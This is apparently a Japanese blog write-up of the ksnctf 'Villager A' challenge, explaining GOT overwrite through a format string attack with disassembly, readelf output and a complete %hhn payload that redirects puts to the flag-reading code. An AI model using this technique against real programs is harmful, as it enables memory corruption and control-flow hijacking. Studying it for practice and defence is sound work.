いい感じに生きる

低レイヤとMCUとMr.childrenを愛しています。

Format String AttackによるGOT overwrite(2020/05/02)

(2022/1/17)Qiitaからhatenaに移行しました。

GOTとは

GOT(Global Offset Table)とは、共有ライブラリのシンボルが参照されている領域です。ELFではPLT(Procedure Linkage Table)からGOTにジャンプし、共有ライブラリを参照しています。ライブラリ関数を管理している領域みたいなイメージだと思います。

参照 https://tkmr.hatenablog.com/entry/2017/02/28/030528 https://qiita.com/saikoro-steak/items/f9bf534f8fc5f2be3b0e

format string attackによるGOT overwrite

ここでは、ksnctfのVillager A(村人A)を使って説明していきます。 https://ksnctf.sweetduet.info/problem/4

format string attack

Villager Aで与えられる実行ファイルはformat string attackの脆弱性があります。 format string attack(書式文字列攻撃)とは、printf()、sprintf()などの関数が持つ脆弱性で、ユーザーが入力した文字列がそのまま出力される場合に可能となります。

char str[128];
fgets(str, 128, stdin);
printf(str);

このような場合に、フォーマット指定子である%p%xなどを入力することでスタックのデータを読み出すことができる脆弱性です。Villager Aでは以下のような結果になります。

[q4@localhost ~]$ ./q4
What's your name?
AAAA,%p,%p,%p,%p,%p,%p,%p
Hi, AAAA,0x400,0x3b18c0,0x8,0x14,0x907fc4,0x41414141,0x2c70252c

"0x400"以降はスタックの値が読み出されています。ここで、ユーザーが入力した文字列が6番目の0x41414141(AAAA)、7番目の0x2c70252c(,%p,)に読み出されていることがわかりますね。この脆弱性を使い、GOT overwriteを行うことで、メモリアドレスの書き換えを行います。

攻撃の下調べ

村人Aの実行ファイル'q4'は、fopen関数がflag.txtを実行してflagを得る構造になっていますが、callされる直前にjne命令によって回避されています。よって、fopen関数を呼び出せるようにメモリアドレスを書き換えれば、flagをゲットできるということになります。 今回は、puts関数を使ってexploitします。putcharなどの関数でも可能です。

080485b4 <main>:
 80485b4:   55                      push   ebp
 80485b5:   89 e5                   mov    ebp,esp
 80485b7:   83 e4 f0                and    esp,0xfffffff0
 80485ba:   81 ec 20 04 00 00       sub    esp,0x420
 80485c0:   c7 04 24 a4 87 04 08    mov    DWORD PTR [esp],0x80487a4
 80485c7:   e8 f8 fe ff ff          call   80484c4 <puts@plt>
 80485cc:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 80485d1:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80485d5:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80485dc:   00 
 80485dd:   8d 44 24 18             lea    eax,[esp+0x18]
 80485e1:   89 04 24                mov    DWORD PTR [esp],eax
 80485e4:   e8 9b fe ff ff          call   8048484 <fgets@plt>
 80485e9:   c7 04 24 b6 87 04 08    mov    DWORD PTR [esp],0x80487b6
 80485f0:   e8 bf fe ff ff          call   80484b4 <printf@plt>
 80485f5:   8d 44 24 18             lea    eax,[esp+0x18]
 80485f9:   89 04 24                mov    DWORD PTR [esp],eax
 80485fc:   e8 b3 fe ff ff          call   80484b4 <printf@plt>
 8048601:   c7 04 24 0a 00 00 00    mov    DWORD PTR [esp],0xa
 8048608:   e8 67 fe ff ff          call   8048474 <putchar@plt>
 804860d:   c7 84 24 18 04 00 00    mov    DWORD PTR [esp+0x418],0x1
 8048614:   01 00 00 00 
 8048618:   eb 67                   jmp    8048681 <main+0xcd>
 804861a:   c7 04 24 bb 87 04 08    mov    DWORD PTR [esp],0x80487bb
 8048621:   e8 9e fe ff ff          call   80484c4 <puts@plt>
 8048626:   a1 04 9a 04 08          mov    eax,ds:0x8049a04
 804862b:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 804862f:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 8048636:   00 
 8048637:   8d 44 24 18             lea    eax,[esp+0x18]
 804863b:   89 04 24                mov    DWORD PTR [esp],eax
 804863e:   e8 41 fe ff ff          call   8048484 <fgets@plt>
 8048643:   85 c0                   test   eax,eax
 8048645:   0f 94 c0                sete   al
 8048648:   84 c0                   test   al,al
 804864a:   74 0a                   je     8048656 <main+0xa2>
 804864c:   b8 00 00 00 00          mov    eax,0x0
 8048651:   e9 86 00 00 00          jmp    80486dc <main+0x128>
 8048656:   c7 44 24 04 d1 87 04    mov    DWORD PTR [esp+0x4],0x80487d1
 804865d:   08 
 804865e:   8d 44 24 18             lea    eax,[esp+0x18]
 8048662:   89 04 24                mov    DWORD PTR [esp],eax
 8048665:   e8 7a fe ff ff          call   80484e4 <strcmp@plt>
 804866a:   85 c0                   test   eax,eax
 804866c:   75 13                   jne    8048681 <main+0xcd>
 804866e:   c7 04 24 d5 87 04 08    mov    DWORD PTR [esp],0x80487d5
 8048675:   e8 4a fe ff ff          call   80484c4 <puts@plt>
 804867a:   b8 00 00 00 00          mov    eax,0x0
 804867f:   eb 5b                   jmp    80486dc <main+0x128>
 8048681:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048688:   85 c0                   test   eax,eax
 804868a:   0f 95 c0                setne  al
 804868d:   84 c0                   test   al,al
 804868f:   75 89                   jne    804861a <main+0x66>
 8048691:   c7 44 24 04 e6 87 04    mov    DWORD PTR [esp+0x4],0x80487e6
 8048698:   08 
 8048699:   c7 04 24 e8 87 04 08    mov    DWORD PTR [esp],0x80487e8
 80486a0:   e8 ff fd ff ff          call   80484a4 <fopen@plt>
 80486a5:   89 84 24 1c 04 00 00    mov    DWORD PTR [esp+0x41c],eax
 80486ac:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 80486b3:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 80486b7:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 80486be:   00 
 80486bf:   8d 44 24 18             lea    eax,[esp+0x18]
 80486c3:   89 04 24                mov    DWORD PTR [esp],eax
 80486c6:   e8 b9 fd ff ff          call   8048484 <fgets@plt>
 80486cb:   8d 44 24 18             lea    eax,[esp+0x18]
 80486cf:   89 04 24                mov    DWORD PTR [esp],eax
 80486d2:   e8 dd fd ff ff          call   80484b4 <printf@plt>
 80486d7:   b8 00 00 00 00          mov    eax,0x0
 80486dc:   c9                      leave  
 80486dd:   c3                      ret    
 80486de:   90                      nop
 80486df:   90                      nop
080484c4 <puts@plt>:
 80484c4:   ff 25 f4 99 04 08       jmp    DWORD PTR ds:0x80499f4
 80484ca:   68 30 00 00 00          push   0x30
 80484cf:   e9 80 ff ff ff          jmp    8048454 <_init+0x30>

GOT領域のアドレスは、objdumpなどの逆アセンブラでも確認できますが、readelfコマンドでも同様に調べることができます。

[q4@localhost ~]$ readelf -r q4

Relocation section '.rel.dyn' at offset 0x3cc contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080499cc  00000106 R_386_GLOB_DAT    00000000   __gmon_start__
08049a04  00000b05 R_386_COPY        08049a04   stdin

Relocation section '.rel.plt' at offset 0x3dc contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080499dc  00000107 R_386_JUMP_SLOT   00000000   __gmon_start__
080499e0  00000307 R_386_JUMP_SLOT   00000000   putchar
080499e4  00000407 R_386_JUMP_SLOT   00000000   fgets
080499e8  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main
080499ec  00000607 R_386_JUMP_SLOT   00000000   fopen
080499f0  00000707 R_386_JUMP_SLOT   00000000   printf
080499f4  00000807 R_386_JUMP_SLOT   00000000   puts
080499f8  00000c07 R_386_JUMP_SLOT   080484d4   __gxx_personality_v0
080499fc  00000907 R_386_JUMP_SLOT   00000000   strcmp

puts関数のアドレスが0x80499f4に書き込まれることがわかります。よって0x80499f4をfopen関数の処理が始まる0x8048691に書き換えればよいということになります。

Exploit

メモリの書き込みには、%n系と呼ばれるフォーマット指定子を使います。この指定子は、指定したスタックに出力バイト数を書き込んでくれます。指定子の間に数字と$を入れることで、char型で何番目のスタックに書き込むか指定することができます(%5$nなど)。%n系には以下のような種類があります。

フォーマット指定子  書き込みバイト数
%n 4
%hn 2
%hhn 1
[q4@localhost ~]$ echo 'AAAA%6$hhn' | ./q4

この場合、スタックの6番目に0x41414141(AAAA)が格納され、0x41414141番地にAAAAの出力バイト数"4"が格納されます。つまり、'AAAA'の部分に書き込むアドレスと格納したい値をうまく調節してprinf関数に出力させれば、処理を自由に操れるということです。

今回は、先述したように0x80499f4(puts関数が書き込まれるGOT領域のアドレス)を0x8048691(fopen関数の処理が始まるアドレス)に書き換えます。結論から言うと、以下のような文字列になります。

[q4@localhost ~]$ echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4 

考え方

GOT overwrite by format string attack .png

文字列の冒頭(図の赤字)の部分では、書き込み先の番地を書き込んでいます。この実行ファイルは32bitのELFのため、書き込み先の番地に格納するアドレスは32bitとなります。なので、書き込み先の番地は0x80499f4〜0x80499f7に1byteずつ格納していきます。それぞれの番地と値は以下のようになります(図参照)。このときリトルエンディアンに注意してください。

書き込み先の番地 格納する値
0x80499f4 0x91
0x80499f5 0x86
0x80499f6 0x04
0x80499f7 0x08

続いて、それぞれの番地に格納したい値を調節して出力させていきます。調節には、%cという指定したバイト数だけ出力してくれるフォーマット指定子を使います。

はじめに、0x80499f4番地に0x91(145)を格納します。赤字の部分で既に16byte出力されているので、145(0x91の10進数)から16を引いた129byte分を%cで補います。ユーザーが出力した文字列が6番目のスタックから読み出されるため、%129c%6$hhnとなります。

次に0x80499f5番地に0x86(134)を格納しますが、ここで注意が必要です。既に145byte出力しているのに対して、それより下の値を書き込まなければなりません。この場合、256byte(0x100)をまたぐことで問題が解消されます。%hhnは1byteずつ書き込む指定子のため、値の下位8bit(下2桁)しか書き込みません。256をまたぐことで16進数の桁が上がり、下2桁が00から始まるため、格納したい値が既に出力した値よりも低い場合でも、256を一区切りとして調節すればいいことになります。 以上を踏まえると、256から145を引いた値に134を足すことで、0x186となり下位2桁の0x86を書き込めます。よって%245c%7$hhnとなります。 あとの2つも同様に計算することで(図参照)GOT領域のアドレスに任意の値を格納することができます。

以上がformat string attackによるGOT overwriteの説明でした。

まとめ

村人Aを解いたのは半年以上前ですが、なぜ256を超えなければいけなのか当時1週間くらい理解できなかったのを覚えています。これはハリネズミ本にも書かれている入門テクニックなのでPwnを始めたばかりの私にとってはきちんと理解しておくべき内容でした。

@k-onishi さんのhttps://qiita.com/k-onishi/items/9cf7fc49107e6ff61115 にもほぼ同じ内容で詳しく書かれているので、こちらの記事もおすすめです。

お疲れ様でした。